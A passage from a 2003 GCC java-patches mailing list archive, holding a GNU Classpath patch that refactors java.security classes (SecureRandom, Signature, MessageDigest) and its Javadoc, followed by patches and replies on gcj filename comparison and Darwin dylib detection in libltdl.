from the array from the - specified offset to the specified length. - - @param input bytes to update the digest with - @param offset the offset to start at - @param len length of the data to update with + * Updates the digest with a portion of a byte array. + * + * @param input The bytes to update the digest with. + * @param offset The offset to start at in the array. + * @param len The number of bytes to update. */ - public void update(byte[]input, int offset, int len) + public void update(byte[] input, int offset, int len) { engineUpdate(input, offset, len); } =20 /** - Updates the digest with the bytes from the array. - - @param input bytes to update the digest with + * Updates the digest with an entire byte array. + * + * @param input The bytes to update the digest with. + * @see #update(byte[],int,int) */ - public void update(byte[]input) + public void update(byte[] input) { engineUpdate(input, 0, input.length); } =20 /** - Computes the digest of the stored data. - - @return a byte array representing the message digest + * Computes the final digest of the stored data, and resets this instanc= e. + * + * @return a byte array representing the message digest */ public byte[] digest() { @@ -230,13 +244,13 @@ } =20 /** - Computes the final digest of the stored bytes and returns - them.=20 - - @param buf An array of bytes to store the digest - @param offset An offset to start storing the digest at - @param len The length of the buffer - @return Returns the length of the buffer + * Computes the final digest of the stored bytes and stores it into + * the given byte array, returning the number of bytes stored. + * + * @param buf An array of bytes to store the digest. + * @param offset The offset to start storing the digest at. + * @param len The maximum number of bytes to store in the array. + * @return The number of bytes stored into buf */ public int digest(byte[]buf, int offset, int len) throws DigestException { Index: java/security/SecureRandom.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/classpath/classpath/java/security/SecureRandom.java,v retrieving revision 1.9 diff -u -r1.9 SecureRandom.java --- java/security/SecureRandom.java 13 Feb 2003 17:00:50 -0000 1.9 +++ java/security/SecureRandom.java 8 Mar 2003 20:59:07 -0000 @@ -42,14 +42,24 @@ import java.util.Enumeration; =20 /** - SecureRandom is the class interface for using SecureRandom - providers. It provides an interface to the SecureRandomSpi - engine so that programmers can generate pseudo-random numbers. - - @author Mark Benvenuto + * An interface to a cryptographically secure pseudo-random number + * generator (PRNG). Random (or at least unguessable) numbers are used + * in all areas of security and cryptography, from the generation of + * keys and initialization vectors to the generation of random padding + * bytes. + * + * @author Mark Benvenuto + * @author Casey Marshall */ public class SecureRandom extends Random { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** Service name for PRNGs. */ + private static final String SECURE_RANDOM =3D "SecureRandom"; + static final long serialVersionUID =3D 4940670005562187L; =20 //Serialized Field @@ -60,6 +70,9 @@ SecureRandomSpi secureRandomSpi =3D null; byte[] state =3D null; =20 + // Constructors. + // ---------------------------------------------------------------------= --- + /** Default constructor for SecureRandom. It constructs a=20 new SecureRandom by instantating the first SecureRandom=20 @@ -69,7 +82,7 @@ on the first call to getnextBytes it will force a seed. =20 It is maintained for backwards compatibility and programs - should use getInstance. + should use {@link #getInstance(java.lang.String)}. */ public SecureRandom() { @@ -88,20 +101,20 @@ { key =3D (String) e.nextElement(); if (key.startsWith("SECURERANDOM.")) - { - if ((classname =3D p[i].getProperty(key)) !=3D null) - { - try - { - secureRandomSpi =3D (SecureRandomSpi) Class. - forName(classname).newInstance(); - provider =3D p[i]; - return; - } - catch (Throwable ignore) { } - } - } - } + { + if ((classname =3D p[i].getProperty(key)) !=3D null) + { + try + { + secureRandomSpi =3D (SecureRandomSpi) Class. + forName(classname).newInstance(); + provider =3D p[i]; + return; + } + catch (Throwable ignore) { } + } + } + } } =20 // Nothing found. Fall back to SHA1PRNG @@ -141,15 +154,17 @@ this.provider =3D provider; } =20 - /** - Returns an instance of a SecureRandom. It creates the class - for the specified algorithm if it exists from a provider. - - @param algorithm A SecureRandom algorithm to use + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @return Returns a new SecureRandom implmenting the chosen algorithm - - @throws NoSuchAlgorithmException if the algorithm cannot be found + /** + * Returns an instance of a SecureRandom. It creates the class from + * the first provider that implements it. + * + * @param algorithm The algorithm name. + * @return A new SecureRandom implmenting the given algorithm. + * @throws NoSuchAlgorithmException If no installed provider implements + * the given algorithm. */ public static SecureRandom getInstance(String algorithm) throws NoSuchAlgorithmException @@ -157,11 +172,13 @@ Provider p[] =3D Security.getProviders(); for (int i =3D 0; i < p.length; i++) { - try - { - return getInstance(algorithm, p[i]); - } - catch (NoSuchAlgorithmException ignored) { } + try + { + return getInstance(algorithm, p[i]); + } + catch (NoSuchAlgorithmException ignored) + { + } } =20 // None found. @@ -169,21 +186,26 @@ } =20 /** - Returns an instance of a SecureRandom. It creates the class - for the specified algorithm from the specified provider. - - @param algorithm A SecureRandom algorithm to use - @param provider A security provider to use - - @return Returns a new SecureRandom implmenting the chosen algorithm - - @throws NoSuchAlgorithmException if the algorithm cannot be found - @throws NoSuchProviderException if the provider cannot be found + * Returns an instance of a SecureRandom. It creates the class + * for the specified algorithm from the named provider. + * + * @param algorithm The algorithm name. + * @param provider The provider name. + * @return A new SecureRandom implmenting the chosen algorithm. + * @throws NoSuchAlgorithmException If the named provider does not imple= ment + * the algorithm, or if the implementation cannot be + * instantiated. + * @throws NoSuchProviderException If no provider named + * provider is currently installed. + * @throws IllegalArgumentException If provider is null + * or is empty. */ - public static SecureRandom getInstance(String algorithm, - String provider) throws - NoSuchAlgorithmException, NoSuchProviderException + public static SecureRandom getInstance(String algorithm, String provider= ) + throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(); @@ -192,88 +214,35 @@ } =20 /** - Returns an instance of a SecureRandom. It creates the class for - the specified algorithm from the given provider. - - @param algorithm The SecureRandom algorithm to create. - @param provider The provider to get the instance from. - - @throws NoSuchAlgorithmException If the algorithm cannot be found, or - if the class cannot be instantiated. - */ - public static SecureRandom getInstance(String algorithm, - Provider provider) throws - NoSuchAlgorithmException - { - return getInstance(algorithm, provider, true); - } - - /** - Creates the instance of SecureRandom, recursing to resolve aliases. - - @param algorithm The SecureRandom algorithm to create. - @param provider The provider to get the implementation from. - @param recurse Whether or not to recurse to resolve aliases. - - @throws NoSuchAlgorithmException If the algorithm cannot be found, - if there are too many aliases, or if the class cannot be - instantiated. - */ - private static SecureRandom getInstance(String algorithm, - Provider provider, - boolean recurse) - throws NoSuchAlgorithmException - { - String msg =3D algorithm; - for (Enumeration e =3D provider.propertyNames(); e.hasMoreElements(); = ) + * Returns an instance of a SecureRandom. It creates the class for + * the specified algorithm from the given provider. + * + * @param algorithm The SecureRandom algorithm to create. + * @param provider The provider to get the instance from. + * @throws NoSuchAlgorithmException If the algorithm cannot be found, or + * if the class cannot be instantiated. + * @throws IllegalArgumentException If provider is null. + */ + public static SecureRandom getInstance(String algorithm, Provider provid= er) + throws NoSuchAlgorithmException + { + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); + try { - // We could replace the boolean with an integer, incrementing it - // every - String key =3D (String) e.nextElement(); - if (key.startsWith("SECURERANDOM.") - && key.substring(13).equalsIgnoreCase(algorithm)) - { - try - { - Class c =3D Class.forName(provider.getProperty(key)); - return new SecureRandom((SecureRandomSpi) c.newInstance(), - provider); - } - catch (Throwable ignored) { } - } - else if (key.startsWith("ALG.ALIAS.SECURERANDOM.") - && key.substring(23).equalsIgnoreCase(algorithm) && recurse) - { - try - { - // First see if this alias refers to a class in this - // provider. - return getInstance(provider.getProperty(key), provider, false); - } - catch (NoSuchAlgorithmException nsae) - { - Provider[] provs =3D Security.getProviders(); - for (int i =3D 0; i < provs.length; i++) - { - if (provs[i] =3D=3D provider) - continue; - // Now try other providers for the implementation - try - { - return getInstance(provider.getProperty(key), - provs[i], false); - } - catch (NoSuchAlgorithmException nsae2) - { - msg =3D nsae2.getMessage(); - } - } - } - } + return new SecureRandom((SecureRandomSpi) + Engine.getInstance(SECURE_RANDOM, algorithm, provider), + provider); + } + catch (ClassCastException cce) + { + throw new NoSuchAlgorithmException(algorithm); } - throw new NoSuchAlgorithmException(algorithm); } =20 + // Instance methods. + // ---------------------------------------------------------------------= --- + /** Returns the provider being used by the current SecureRandom class. =20 @@ -318,8 +287,8 @@ (byte) (0xff & (seed >> 16)), (byte) (0xff & (seed >> 8)), (byte) (0xff & seed) - }; - secureRandomSpi.engineSetSeed(tmp); + }; + secureRandomSpi.engineSetSeed(tmp); } } =20 Index: java/security/Signature.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvsroot/classpath/classpath/java/security/Signature.java,v retrieving revision 1.6 diff -u -r1.6 Signature.java --- java/security/Signature.java 16 Nov 2002 23:28:25 -0000 1.6 +++ java/security/Signature.java 8 Mar 2003 20:59:07 -0000 @@ -1,5 +1,5 @@ /* Signature.java --- Signature Class - Copyright (C) 1999, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2002, 2003 Free Software Foundation, Inc. =20 This file is part of GNU Classpath. =20 @@ -36,43 +36,61 @@ exception statement from your version. */ =20 package java.security; + import java.security.spec.AlgorithmParameterSpec; =20 /** - Signature is used to provide an interface to digital signature=20 - algorithms. Digital signatures provide authentication and data=20 - integrity of digital data.=20 - - The GNU provider provides the NIST standard DSA which uses DSA=20 +

          Signature is an interface to digital signature algorithms. Digital + signatures provide authentication and data integrity of digital data. + =20 +

          The GNU provider provides the NIST standard DSA which uses DSA=20 and SHA-1. It can be specified by SHA/DSA, SHA-1/DSA or its=20 OID. If the RSA signature algorithm is provided then it could be MD2/RSA. MD5/RSA, or SHA-1/RSA. The algorithm must - be specified because there is no default. + be specified because there is no default.

          =20 - Signature provides implementation-independent algorithms which=20 +

          Signature provides implementation-independent algorithms which=20 are requested by the user through getInstance. It can be=20 requested by specifying just the algorithm name or by=20 - specifying both the algorithm name and provider name.=20 - - The three phases of using Signature are: - - 1. Initialing - - * It must be initialized with a private key for signing. - * It must be initialized with a public key for verifying. - - 2. Updating - - Update the bytes for signing or verifying with calls to update. - - 3. Signing or Verify the signature on the currently stored - bytes by calling sign or verify. + specifying both the algorithm name and provider name. + =20 +

          The three phases of using Signature are:

          + +
            +
          1. Initialising. The instance is initialized with either one of= : + +
              +
            • {@link #initSign(java.security.PrivateKey,java.security.SecureRando= m)} + with a private key for signing.
            • +
            • {@link #initVerify(java.security.PublicKey)} with a public key or a + certificate for verifying.
            • +
          2. + +
          3. Updating. + +

            Zero or more bytes may be added to the data being signed or verified= , + depending on how this instance was initialized.

          4. + +
          5. Signing or Verifying. + =20 +

            The signature is then either produced over the data input with any o= f + the {@link #sign()} methods, or a signatre is tested for validity with + {@link #verify(byte[])}.

          6. +
          =20 @author Mark Benvenuto + @author Casey Marshall @since JDK 1.1 */ public abstract class Signature extends SignatureSpi { + + // Constants and fields. + // ---------------------------------------------------------------------= --- + + /** Service name for signatures. */ + private static final String SIGNATURE =3D "Signature"; + /** Possible state variable which signifies if it has not been=20 initialized. @@ -99,6 +117,9 @@ private String algorithm; Provider provider; =20 + // Constructor. + // ---------------------------------------------------------------------= --- + /** Creates a new signature for this algorithm. =20 @@ -110,16 +131,18 @@ state =3D UNINITIALIZED; } =20 - /** - Gets an instance of the Signature class representing - the specified signature. If the algorithm is not found then,=20 - it throws NoSuchAlgorithmException. - - @param algorithm the name of signature algorithm to choose - @return a Signature repesenting the desired algorithm + // Class methods. + // ---------------------------------------------------------------------= --- =20 - @throws NoSuchAlgorithmException if the algorithm is not implemented = by - providers + /** + * Gets an instance of the Signature class representing + * the specified signature. If the algorithm is not found then,=20 + * it throws NoSuchAlgorithmException. + * + * @param algorithm the name of signature algorithm to choose + * @return a Signature repesenting the desired algorithm + * @throws NoSuchAlgorithmException if the algorithm is not implemented = by + * any currently installed provider. */ public static Signature getInstance(String algorithm) throws NoSuchAlgorithmException @@ -132,30 +155,38 @@ { return getInstance(algorithm, p[i]); } - catch (NoSuchAlgorithmException ignored) {} + catch (NoSuchAlgorithmException ignored) + { + } } =20 throw new NoSuchAlgorithmException(algorithm); } =20 /**=20 - Gets an instance of the Signature class representing - the specified signature from the specified provider. If the=20 - algorithm is not found then, it throws NoSuchAlgorithmException. - If the provider is not found, then it throws - NoSuchProviderException. - - @param algorithm the name of signature algorithm to choose - @param provider the name of the provider to find the algorithm in - @return a Signature repesenting the desired algorithm - - @throws NoSuchAlgorithmException if the algorithm is not implemented = by - the provider - @throws NoSuchProviderException if the provider is not found + * Gets an instance of the Signature class representing + * the specified signature from the specified provider. If the=20 + * algorithm is not found then, it throws NoSuchAlgorithmException. + * If the provider is not found, then it throws + * NoSuchProviderException. + * + * @param algorithm the name of signature algorithm to choose + * @param provider the name of the provider to find the algorithm in + * @return a Signature repesenting the desired algorithm + * + * @throws NoSuchAlgorithmException If the algorithm is not implemented = by + * the provider or if the implementation cannot be instatiated. + * @throws NoSuchProviderException If there is no provider named + * provider currently installed. + * @throws IllegalArgumentException If provider is null or = is + * empty. */ public static Signature getInstance(String algorithm, String provider) throws NoSuchAlgorithmException, NoSuchProviderException { + if (provider =3D=3D null || provider.length() =3D=3D 0) + throw new IllegalArgumentException("Illegal provider"); + Provider p =3D Security.getProvider(provider); if (p =3D=3D null) throw new NoSuchProviderException(provider); @@ -163,65 +194,47 @@ return getInstance(algorithm, p); } =20 - private static Signature getInstance(String algorithm, Provider p) - throws NoSuchAlgorithmException - { - // try the name as is - String className =3D p.getProperty("Signature." + algorithm); - if (className =3D=3D null) { // try all uppercase - String upper =3D algorithm.toUpperCase(); - className =3D p.getProperty("Signature." + upper); - if (className =3D=3D null) { // try if it's an alias - String alias =3D p.getProperty("Alg.Alias.Signature." + algorithm)= ; - if (alias =3D=3D null) { - alias =3D p.getProperty("Alg.Alias.Signature." + upper); - if (alias =3D=3D null) { // spit the dummy - throw new NoSuchAlgorithmException(algorithm); - } - } - className =3D p.getProperty("Signature." + alias); - if (className =3D=3D null) { - throw new NoSuchAlgorithmException(algorithm); - } - } - } - return getInstance(className, algorithm, p); - } - - private static Signature getInstance(String classname, - String algorithm, - Provider provider) + /** + * Gets an instance of the given signature algorithm from the + * specified provider. + * + * @param algorithm The name of the signature algorithm to create. + * @param provider The provider to get the implementation from. + * @return An appropriate instance of Signature. + * @throws NoSuchAlgorithmException If the algorithm is not + * implemented by the provider, or if the implementation + * cannot be instantiated. + * @throws IllegalArgumentException If provider is null. + * @since 1.4 + */ + public static Signature getInstance(String algorithm, Provider provider) throws NoSuchAlgorithmException { - try - { - Object o =3D Class.forName(classname).newInstance(); - Signature sig; - if (o instanceof SignatureSpi) - sig =3D new DummySignature((SignatureSpi) o, algorithm); - else - { - sig =3D (Signature) o; - sig.algorithm =3D algorithm; - } + if (provider =3D=3D null) + throw new IllegalArgumentException("Illegal provider"); + Signature result =3D null; + Object o =3D Engine.getInstance(SIGNATURE, algorithm, provider); =20 - sig.provider =3D provider; - return sig; - } - catch (ClassNotFoundException cnfe) + if (o instanceof SignatureSpi) { - throw new NoSuchAlgorithmException("Class not found"); + result =3D new DummySignature((SignatureSpi) o, algorithm); } - catch (InstantiationException ie) + else if (o instanceof Signature) { - throw new NoSuchAlgorithmException("Class instantiation failed"); + result =3D (Signature) o; + result.algorithm =3D algorithm; } - catch (IllegalAccessException iae) + else { - throw new NoSuchAlgorithmException("Illegal Access"); + throw new NoSuchAlgorithmException(algorithm); } + result.provider =3D provider; + return result; } =20 + // Instance methods. + // ---------------------------------------------------------------------= --- + /** Gets the provider that the Signature is from. =20 @@ -262,13 +275,13 @@ state =3D VERIFY; if (certificate.getType().equals("X509")) { - java.security.cert.X509Certificate cert =3D - (java.security.cert.X509Certificate) certificate; + java.security.cert.X509Certificate cert =3D + (java.security.cert.X509Certificate) certificate; =20 - boolean[]array =3D cert.getKeyUsage(); - if (array !=3D null && array[0] =3D=3D false) - throw new InvalidKeyException - ("KeyUsage of this Certificate indicates it cannot be used for digita= l signing"); + boolean[] array =3D cert.getKeyUsage(); + if (array !=3D null && array[0] =3D=3D false) + throw new InvalidKeyException + ("KeyUsage of this Certificate indicates it cannot be used for= digital signing"); } this.initVerify(certificate.getPublicKey()); } @@ -319,8 +332,8 @@ { if (state =3D=3D SIGN) { - state =3D UNINITIALIZED; - return engineSign(); + state =3D UNINITIALIZED; + return engineSign(); } else throw new SignatureException(); @@ -355,8 +368,8 @@ { if (state =3D=3D SIGN) { - state =3D UNINITIALIZED; - return engineSign(outbuf, offset, len); + state =3D UNINITIALIZED; + return engineSign(outbuf, offset, len); } else throw new SignatureException(); @@ -376,8 +389,8 @@ { if (state =3D=3D VERIFY) { - state =3D UNINITIALIZED; - return engineVerify(signature); + state =3D UNINITIALIZED; + return engineVerify(signature); } else throw new SignatureException(); --=-/14rktsROOHq8FIxovao-- --=-idxAuwzY9D60KVl6Ojqq Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQA+aluggAuWMgRGsWsRAl9aAJ401mJCr+Qx1idzzQqAWi0vgoWlKwCfZoJB USiKQZHhAH7PduNIOJ2iQk8= =Atfz -----END PGP SIGNATURE----- --=-idxAuwzY9D60KVl6Ojqq-- From java-patches-return-6403-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 08 23:20:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15127 invoked by alias); 8 Mar 2003 23:20:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15120 invoked from network); 8 Mar 2003 23:20:20 -0000 Received: from unknown (HELO delenn.fl.net.au) (202.181.0.28) by 172.16.49.205 with SMTP; 8 Mar 2003 23:20:20 -0000 Received: from solomon (a3-p19.syd.fl.net.au [202.181.1.83]) by delenn.fl.net.au (Postfix) with ESMTP id D76EF180A35; Sun, 9 Mar 2003 10:28:28 +1100 (EST) Content-Type: text/plain; charset="utf-8" From: "Raif S. Naffah" Reply-To: raif@fl.net.au To: Casey Marshall , Classpath Subject: Re: [PATCH] java.security miscellany Date: Sun, 9 Mar 2003 10:25:43 +1100 User-Agent: KMail/1.4.3 Cc: GCC Java References: <1047157664.2226.6.camel@dexter.attbi.com> In-Reply-To: <1047157664.2226.6.camel@dexter.attbi.com> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200303091025.46245.raif@fl.net.au> -----BEGIN PGP SIGNED MESSAGE----- Hash: RIPEMD160 hello Casey, On Sunday 09 March 2003 08:07, Casey Marshall wrote: > Attached are the java.security patches I posted earlier... some of thoses clash/overlap with the patches i'm in the process of=20 testing (writing Mauve test cases) and committing in Classpath. can you defer yours until i finish committing mine --which should be by=20 the end of today? cheers; rsn -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) Comment: Que du magnifique iD8DBQE+anv4+e1AKnsTRiERA8xRAJwICkQEsonPjPgef3pjIMpRPHvj/gCgwwHI gifpMfhkXgHg/HFBaIaCmiw=3D =3D3lEJ -----END PGP SIGNATURE----- From java-patches-return-6404-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 09 03:43:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30179 invoked by alias); 9 Mar 2003 03:43:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30166 invoked from network); 9 Mar 2003 03:43:57 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 9 Mar 2003 03:43:57 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18rria-0007TN-00 for ; Sun, 09 Mar 2003 04:43:20 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18rriY-0007TC-00 for ; Sun, 09 Mar 2003 04:43:18 +0100 From: Ranjit Mathew Subject: Re: Outstanding patches Date: Sun, 09 Mar 2003 09:16:16 +0530 Lines: 115 Message-ID: <3E6AB908.CE489885@hotmail.com> References: <15976.30370.141842.752106@cuddles.cambridge.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org X-Accept-Language: en Ranjit Mathew wrote: > > Uggghhh! I just noticed (after posting) that my mailer (Outlook > Express 6.0) has converted the leading TABs in my ChangeLog > entries to single spaces! Awfully sorry for this!! (I *swear* > I used TABs while preparing this - if you wish, I'll repost them > again, if acceptable, as attachments instead.) All right, here are both of these patches combined, with some formatting changes (hopefully for the better), in the "diff -c2p" format that Andrew prefers and using Netscape Messenger 4.79: Index: ChangeLog from Ranjit Mathew * jcf-io.c (opendir_in_zip): Use COMPARE_FILENAMES instead of strcmp to compare file names. (compare_path): Likewise. (memoized_dirlist_lookup_eq): Likewise. * jcf-parse.c (set_source_filename): Use COMPARE_FILENAMES instead of strcmp to compare file names. Use IS_DIR_SEPARATOR instead of directly comparing to '/' and '\\'. * jcf-write.c (generate_classfile): Use IS_DIR_SEPARATOR instead of directly comparing to '/' and '\\'. Index: jcf-io.c =================================================================== *** jcf-io.c Sun Mar 9 08:45:46 2003 --- jcf-io.c Sun Mar 9 09:03:30 2003 *************** opendir_in_zip (const char *zipfile, int *** 113,117 **** for (zipf = SeenZipFiles; zipf != NULL; zipf = zipf->next) { ! if (strcmp (zipf->name, zipfile) == 0) return zipf; } --- 113,117 ---- for (zipf = SeenZipFiles; zipf != NULL; zipf = zipf->next) { ! if (COMPARE_FILENAMES (zipf->name, zipfile) == 0) return zipf; } *************** static int *** 284,289 **** compare_path (const void *key, const void *entry) { ! return strcmp ((const char *) key, ! (*((const struct dirent **) entry))->d_name); } --- 284,289 ---- compare_path (const void *key, const void *entry) { ! return COMPARE_FILENAMES ((const char *) key, ! (*((const struct dirent **) entry))->d_name); } *************** static int *** 318,323 **** memoized_dirlist_lookup_eq (const void *entry, const void *key) { ! return strcmp ((const char *) key, ! ((const memoized_dirlist_entry *) entry)->dir) == 0; } --- 318,324 ---- memoized_dirlist_lookup_eq (const void *entry, const void *key) { ! return ! COMPARE_FILENAMES ((const char *) key, ! ((const memoized_dirlist_entry *) entry)->dir) == 0; } Index: jcf-parse.c =================================================================== *** jcf-parse.c Sun Mar 9 08:45:46 2003 --- jcf-parse.c Sun Mar 9 09:07:24 2003 *************** set_source_filename (JCF *jcf, int index *** 139,145 **** if it has a directory prefix, but otherwise matches sfname. */ if (old_len > new_len ! && strcmp (sfname, input_filename + old_len - new_len) == 0 ! && (input_filename[old_len - new_len - 1] == '/' ! || input_filename[old_len - new_len - 1] == '\\')) return; } --- 139,145 ---- if it has a directory prefix, but otherwise matches sfname. */ if (old_len > new_len ! && COMPARE_FILENAMES (sfname, ! input_filename + old_len - new_len) == 0 ! && IS_DIR_SEPARATOR (input_filename[old_len - new_len - 1])) return; } Index: jcf-write.c =================================================================== *** jcf-write.c Sun Mar 9 08:45:46 2003 --- jcf-write.c Sun Mar 9 09:01:34 2003 *************** generate_classfile (tree clas, struct jc *** 3094,3098 **** if (ch == '\0') break; ! if (ch == '/' || ch == '\\') source_file = s+1; } --- 3094,3098 ---- if (ch == '\0') break; ! if (IS_DIR_SEPARATOR (ch)) source_file = s+1; } From java-patches-return-6405-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 09 06:54:38 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 30430 invoked by alias); 9 Mar 2003 06:54:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 30423 invoked from network); 9 Mar 2003 06:54:37 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 172.16.49.205 with SMTP; 9 Mar 2003 06:54:37 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (7.0.008) (authenticated as toa@pop.agri.ch) id 3E5C8D5000068AB2 for java-patches@gcc.gnu.org; Sun, 9 Mar 2003 07:54:37 +0100 Message-ID: <3E6AE522.3060704@pop.agri.ch> Date: Sun, 09 Mar 2003 07:54:26 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.3b) Gecko/20030210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Java Patch List Subject: correct dylib suffix in libltdl Content-Type: multipart/mixed; boundary="------------030401000104050007000106" This is a multi-part message in MIME format. --------------030401000104050007000106 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi, this patch adds correct dylib detection for darwin. It is necessary to continue jni call support on darwin. I have taken it from the current libtool cvs. Tested on 3.3/3.4 on darwin ppc. It needs regeneration of aclocal.m4 and configure. To do it right, I have taken an automake 1.4 and an autoconf 2.13, is this correct? And how do I proceed when commiting such a patch? Just commit aclocal.m4 and configure too? (in case of acceptance) Thanks, Andreas 2003-03-09 Andreas Tobler * acinclude.m4: Add darwin dylib suffix detection. * aclocal.m4: Rebuilt. * configure: Rebuilt. --------------030401000104050007000106 Content-Type: text/plain; name="libltdl-java.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="libltdl-java.diff" Index: acinclude.m4 =================================================================== RCS file: /cvs/gcc/gcc/libjava/libltdl/acinclude.m4,v retrieving revision 1.2 diff -u -r1.2 acinclude.m4 --- acinclude.m4 10 Sep 2000 08:04:40 -0000 1.2 +++ acinclude.m4 8 Mar 2003 15:36:57 -0000 @@ -528,6 +528,19 @@ lt_cv_file_magic_cmd='${OBJDUMP} -f' ;; +darwin* | rhapsody*) + lt_cv_deplibs_check_method='file_magic Mach-O dynamically linked shared library' + lt_cv_file_magic_cmd='/usr/bin/file -L' + case "$host_os" in + rhapsody* | darwin1.[[012]]) + lt_cv_file_magic_test_file=`/System/Library/Frameworks/System.framework/System` + ;; + *) # Darwin 1.3 on + lt_cv_file_magic_test_file='/usr/lib/libSystem.dylib' + ;; + esac + ;; + freebsd* ) if echo __ELF__ | $CC -E - | grep __ELF__ > /dev/null; then case "$host_cpu" in @@ -915,6 +928,14 @@ libltdl_cv_shlibext=`cat conftest` rm -f conftest ]) +# The above does not work on darwin, due to the test's in the library_names_sp +ec +# The test description should probably say "which extension is used for loadab +le +# modules" + case "$host_os" in + darwin*) libltdl_cv_shlibext=".dylib" ;; + esac if test -n "$libltdl_cv_shlibext"; then AC_DEFINE_UNQUOTED(LTDL_SHLIB_EXT, "$libltdl_cv_shlibext", [Define to the extension used for shared libraries, say, ".so". ]) --------------030401000104050007000106-- From java-patches-return-6406-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 09 18:21:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22108 invoked by alias); 9 Mar 2003 18:21:07 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22100 invoked from network); 9 Mar 2003 18:21:06 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 9 Mar 2003 18:21:06 -0000 Received: from [192.168.1.18] (helo=[192.168.1.18] ident=user) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18s5PM-0002Ch-00; Sun, 09 Mar 2003 19:20:24 +0100 Subject: Re: correct dylib suffix in libltdl From: Mark Wielaard To: Andreas Tobler Cc: Java Patch List In-Reply-To: <3E6AE522.3060704@pop.agri.ch> References: <3E6AE522.3060704@pop.agri.ch> Content-Type: text/plain Organization: Message-Id: <1047234055.583.5.camel@localhost> Mime-Version: 1.0 Date: 09 Mar 2003 19:20:55 +0100 Content-Transfer-Encoding: 7bit Hi, Op zo 09-03-2003, om 07:54 schreef Andreas Tobler: > It needs regeneration of aclocal.m4 and configure. > To do it right, I have taken an automake 1.4 and an autoconf 2.13, is > this correct? And how do I proceed when commiting such a patch? See the libjava/HACKING file for the (specially hacked) version of automake to use. BTW feel free to add new things to that file that everz hacker should know (but now often is knowledge you can only learn by watching the list a long time). I believe plain autoconf 2.13 is the correct version. Cheers, Mark From java-patches-return-6407-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 09 18:37:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25016 invoked by alias); 9 Mar 2003 18:37:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25009 invoked from network); 9 Mar 2003 18:37:20 -0000 Received: from unknown (HELO 